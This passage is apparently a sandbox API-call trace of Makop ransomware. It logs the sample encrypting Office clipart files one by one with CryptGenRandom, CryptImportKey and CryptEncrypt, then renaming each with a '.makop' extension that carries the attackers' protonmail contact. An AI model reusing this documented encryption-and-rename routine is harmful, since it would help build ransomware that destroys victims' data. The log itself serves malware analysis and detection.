lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.991] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.992] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.992] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.992] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3682, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3682, lpOverlapped=0x0) returned 1 [0117.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3690, dwBufLen=0x3690 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3690) returned 1 [0117.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3690, lpOverlapped=0x0) returned 1 [0117.006] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.006] SetEndOfFile (hFile=0xf0) returned 1 [0117.013] GetProcessHeap () returned 0x48a0000 [0117.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.014] GetProcessHeap () returned 0x48a0000 [0117.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.014] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.015] CloseHandle (hObject=0xf0) returned 1 [0117.016] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0117.016] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0117.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.017] GetProcessHeap () returned 0x48a0000 [0117.017] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.017] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.017] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0117.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.023] GetProcessHeap () returned 0x48a0000 [0117.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.023] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.023] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.023] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.023] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.023] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.024] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.024] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.024] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25c7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x25c7, lpOverlapped=0x0) returned 1 [0117.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25d0) returned 1 [0117.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x25d0, lpOverlapped=0x0) returned 1 [0117.030] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.031] SetEndOfFile (hFile=0xf0) returned 1 [0117.037] GetProcessHeap () returned 0x48a0000 [0117.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.038] GetProcessHeap () returned 0x48a0000 [0117.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.038] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.039] CloseHandle (hObject=0xf0) returned 1 [0117.039] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0117.039] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0117.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.040] GetProcessHeap () returned 0x48a0000 [0117.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.041] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.041] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.041] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.041] GetProcessHeap () returned 0x48a0000 [0117.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.041] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.049] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.049] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.049] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.049] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.050] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.050] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.050] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6630, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6630, lpOverlapped=0x0) returned 1 [0117.052] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6630, dwBufLen=0x6630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6630) returned 1 [0117.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6630, lpOverlapped=0x0) returned 1 [0117.053] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.053] SetEndOfFile (hFile=0xf0) returned 1 [0117.060] GetProcessHeap () returned 0x48a0000 [0117.060] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.061] GetProcessHeap () returned 0x48a0000 [0117.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.061] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.062] CloseHandle (hObject=0xf0) returned 1 [0117.062] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0117.062] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0117.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.063] GetProcessHeap () returned 0x48a0000 [0117.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.063] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0117.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.068] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.068] GetProcessHeap () returned 0x48a0000 [0117.068] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.068] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.068] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.068] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.068] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.069] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.069] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.069] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.069] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6b9a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6b9a, lpOverlapped=0x0) returned 1 [0117.071] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ba0) returned 1 [0117.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.072] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6ba0, lpOverlapped=0x0) returned 1 [0117.072] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.072] SetEndOfFile (hFile=0xf0) returned 1 [0117.080] GetProcessHeap () returned 0x48a0000 [0117.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.081] GetProcessHeap () returned 0x48a0000 [0117.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.082] CloseHandle (hObject=0xf0) returned 1 [0117.082] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0117.082] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0117.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.084] GetProcessHeap () returned 0x48a0000 [0117.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.084] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0117.089] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.089] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.089] GetProcessHeap () returned 0x48a0000 [0117.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.089] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.089] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, 